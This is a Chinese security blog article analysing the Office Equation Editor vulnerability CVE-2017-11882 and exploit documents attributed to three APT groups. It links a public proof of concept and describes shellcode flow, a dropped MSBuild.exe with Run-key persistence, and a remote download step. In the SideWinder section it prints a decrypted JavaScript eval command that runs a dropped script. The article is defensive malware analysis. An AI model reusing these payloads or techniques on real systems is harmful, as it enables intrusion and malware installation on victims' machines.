CVE-2017-11882及利用樣本分析

Gcow安全團隊發表於2020-03-26

CVE-2017-11882及利用樣本分析

1.本文由複眼小組ERFZE師傅原創
2.本文略微偏向基礎,首先介紹了該漏洞的成因,並且分析了該漏洞在蔓靈花,摩訶草,響尾蛇APT組織用於實際攻擊活動中的詳細除錯過程
3.本文全文字數共2234字,圖片95張 預計閱讀時間14分鐘

0x01 漏洞描述

  • 成因:Windows的公式編輯器EQNEDT32.EXE讀入包含MathType的OLE資料,在複製公式字型名稱時沒有對名稱長度進行校驗,使得攻擊者可以透過刻意構造的資料內容覆蓋棧上的函式返回地址,從而劫持程式流程。

  • 影響版本:Microsoft Office 2007 Service Pack 3, Microsoft Office 2010 Service Pack 2, Microsoft Office 2013 Service Pack 1, Microsoft Office 2016

  • POChttps://github.com/Ridter/CVE-2017-11882

0x02 漏洞分析

筆者復現及分析環境:Windows 7 Service Pack 1、Microsoft Office 2010、x32dbg、IDA 7.0

 

EQUATION.exe存在:

 

圖片1 Equation.exe

 

設定登錄檔項HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\EQNEDT32.EXE

 

圖片2 regedit.exe

 

Debugger鍵值為x32dbg路徑。

 

生成POC:

 

圖片3 POC

 

開啟該文件,於WinExec()函式處設斷:

 

圖片4 WinExec

 

成功斷下後,檢視棧中返回地址:

 

圖片5 ReturnAdd

 

繼續向上檢視棧,發現呼叫WinExec()的函式:

 

圖片6 Stack

 

透過IDA分析sub_4115A7功能:

 

圖片7 IDA

 

跟進sub_41160F檢視:

 

圖片8 sub41160F

 

未校驗長度,直接使用strcpy()函式,此處應該就是漏洞觸發位置。進一步確定具體位置:

 

圖片9 strcpy

 

0x411658處設斷,重新執行。第二次成功斷下後,檢視ESI暫存器指向記憶體內容:

 

圖片10 ESI

 

此時ECX暫存器值為0xC,即複製48個位元組到EDI暫存器指向記憶體,而var_28實際大小隻有36個位元組:

 

圖片11 EDI

 

到達函式結束處:

 

圖片12 FunEnd

 

leave指令執行完畢後,棧頂0x18F1D0處值為0x430C12,即呼叫WinExec()。而傳遞引數正是0x18F350指向記憶體中的cmd指令:

 

圖片13 shellcode

 

成功彈出計算器:

 

圖片14 calc.exe


 

下面對使用到的POC進行簡要分析。各變數含義由命名可知,RTF文件格式並非本文重點,如讀者此前對RTF文件格式沒有了解,建議先閱讀文末參考連結中有關RTF文件格式的文章後再看POC原始碼。

 

圖片15 RTF

 

首先判斷命令長度是否小於43,而43這個數字是因為:

 

圖片16 CmdLen

 

上圖選中部分是插入命令處,具體偏移由POC中COMMAND_OFFSET(0x949*2)變數給出。

 

將命令插入到構造資料中之後,函式返回拼接好的OLE。下面將OLE嵌入到RTF文件中:

 

圖片17 OLE

0x03 摩訶草(APT-C-09)組織某樣本分析

MD5:0D38ADC0B048BAB3BD91861D42CD39DF

 

0x411658處設斷,在第二次斷下時,各暫存器值如下:

 

圖片18 register

 

繼續執行到函式結束處leave指令:

 

圖片19 leave

 

0x18F230地址處值0x430C47即覆蓋後的函式返回地址:

 

圖片20 FunReturn

 

而該地址處指令是ret,有些出乎意料。繼續向下執行,來到0x18F3B0處,正是0x18F234地址處值:

 

圖片21 ret

 

這方才是構造者意欲執行的指令。經過藍色方框中的一系列運算後,EBX指向是真正的Shellcode:

 

圖片22 shellcode

 

上述內容均可在OLE中檢視(路徑\xl\embeddings):

 

圖片23 OLE

 

圖片24 OLE

 

將OLE0x10000x1520中資料複製到一bin檔案後,透過IDA檢視。sub_247功能如下:

 

圖片25 IDA

 

該函式接受的第二個引數即上文提到的EBX指向地址,於OLE中位置是0x1040,而0x1040+0x558處內容如下:

 

圖片26 PE

 

故該函式第一個功能是修正PE檔案頭。第二個功能流程如下:

 

圖片27 PEWrite

 

圖片28 PEWrite

 

圖片29 PEWrite

 

圖片30 PEWrite

 

0x1040+0x558後的PE檔案資料寫入到%APPDATA%\MSBuild.exe中。第三個功能流程如下:

 

圖片31 RegeditWrite

 

圖片32 RegeditWrite

 

圖片33 RegeditWrite

 

%APPDATA%\MSBuild.exe寫入登錄檔run項鍵值lollipop中。

0x04 響尾蛇(SideWinder)組織某樣本分析

將文件拖進WinHex檢視:

 

圖片34 WinHex

 

可以看出該文件實質是一RTF格式文件。

 

rtfobj.py分析如下:

 

圖片35 rtfobj

 

Package後文會提到,先來看其CVE-2017-11882利用部分。

 

同樣是第二次斷下時:

 

圖片36 break

 

其後的執行流程與上一樣本相似:

 

圖片37 leave

 

圖片38 ret

 

經過綠色方框中的一系列運算後,呼叫GlobalLock()函式,傳遞引數如下:

 

圖片39 GlobalLock

 

接下來跳轉到GlobalLock()函式返回記憶體區域中:

 

圖片40 jmp

 

經過兩次call呼叫:

 

圖片41 call

 

圖片42 call

 

修正記憶體中的字串:

 

圖片43 EditString

 

接下來定址kernel32.dll

 

圖片44 kernel32

 

其所呼叫的函式功能如下:

 

圖片45 sub298

 

兩次call呼叫之後:

 

圖片46 call

 

圖片47 call

 

其功能為返回某函式呼叫地址,此次是LoadLibrayW()

 

圖片48 LoadLibrary

 

圖片49 Loadlibrary

 

接下來,返回GetProcAddress()呼叫地址:

 

圖片50 GetProcAddress

 

圖片51 GetProcAddress

 

繼續call呼叫:

 

圖片52 call

 

其後流程如圖所示:

 

圖片53 GetCommandLine

 

圖片54 GetCommandLine

 

圖片55 call

 

下面將字串解密,並覆蓋原CommandLine內容:

 

圖片56 DecryptStr

 

圖片57 DecryptStr

 

執行完結果如下:

 

圖片58 StrResult

 

最後實際執行部分:

javascript:eval("sa=ActiveXObject;ab=new sa(\"Scripting.FileSystemObject\");
eval(ab.OpenTextFile(ab.GetSpecialFolder(2)+\"\\\\1.a\",1).ReadAll());windowclose()")

其後呼叫RunHTMLApplication()

 

圖片59 RunHTMLApplicaton

 

圖片60 RunHTMLApplicaton

 

圖片61 RunHTMLApplicaton圖片60 RunHTMLApplicaton圖片60 RunHTMLApplicaton

 

圖片62 RunHTMLApplicaton圖片60 RunHTMLApplicaton

 

圖片63 RunHTMLApplicaton

 

1.a就是之前提到RTF文件中的Package,其實質是一JS檔案:

 

圖片64 JS

 

圖片65 JS

 

最後,其執行結果大體如下圖所示:

 

圖片66 result

0x05 蔓靈花(Bitter)組織某樣本分析

透過遠端模板注入的方式下載一RTF格式文件:

 

圖片67 downloadRTF

 

拖進WinHex檢視,可以確認其格式為RTF文件格式:

 

圖片68 Winhex

 

新增副檔名後,開啟該文件。同樣是于于0x411658處第二次斷下時:

 

圖片69 breakpoint

 

圖片70 ret

 

圖片71 shellcode

 

跳轉之後經過綠色方框中一系列計算,接著跳轉:

 

圖片72 jmp

 

fldpi將π的值載入到FPU堆疊:

 

圖片73 fldpi

 

執行完後fpu_instruction_pointer指向fldpi指令,其後的fnstenv指令將FpuSaveState結構體儲存到esp-0xC處:

 

圖片74 fnstenv

 

如此一來,pop ebp後EBP暫存器的值是fpu_instruction_pointer——fldpi指令位置:

 

圖片75 EBP

 

由EBP計算出需要解密的資料起始位置,EDX中儲存的是資料長度(0x315):

 

圖片76 Decrypt

 

接著執行解密後的指令:

 

圖片77 Execute

 

圖片78 Execute

 

跳轉後,執行相應指令,接下來call呼叫:

 

圖片79 call

 

sub_562B2F功能是獲取指定的系統函式呼叫地址,此次是kernel32.VirtualAlloc()

 

圖片80 ReturnVirtualAddr

 

圖片81 ReturnVirtualAddr

 

之後呼叫VirtualAlloc()申請記憶體空間:

 

圖片82 VirtualAlloc

 

向申請的記憶體空間中寫入資料:

 

圖片83 WriteMem

 

呼叫sub_562B2F獲取kernel32.Wow64DisableWow64FsRedirection()呼叫地址:

 

圖片84 ReturnWow64DisableWow64FsRedirectionAddr

 

LoadLibrary(shell32)

 

 

傳遞引數給sub_562B2F,獲取shell32.ShellExcute()呼叫地址:

 

圖片86 ReturnShellExcuteAddr

 

圖片87 ReturnShellExcuteAddr

 

LoadLibrary(urlmon)

 

 

獲取urlmon.URLDownloadToFile()呼叫地址:

 

圖片89 ReturnURLDownloadToFileAddr
圖片90 ReturnURLDownloadToFileAddr

 

呼叫URLDownloadToFile(),其傳遞引數如圖:

 

圖片91 URLDownloadToFile

 

圖片92 URLDownloadToFile

 

讀取檔案:

 

圖片93 CreateFile

 

圖片94 ReadFile

 

由於沒有獲取到檔案,計算出的EBX值錯誤:

 

圖片95 End

 

故至此結束。

0x06 參考連結

  • Office惡意檔案解析與混淆研究 -https://zhuanlan.zhihu.com/p/31345299

  • https://github.com/Ridter/CVE-2017-11882

  • Office檔案格式基礎知識 -https://www.anquanke.com/post/id/175548

相關文章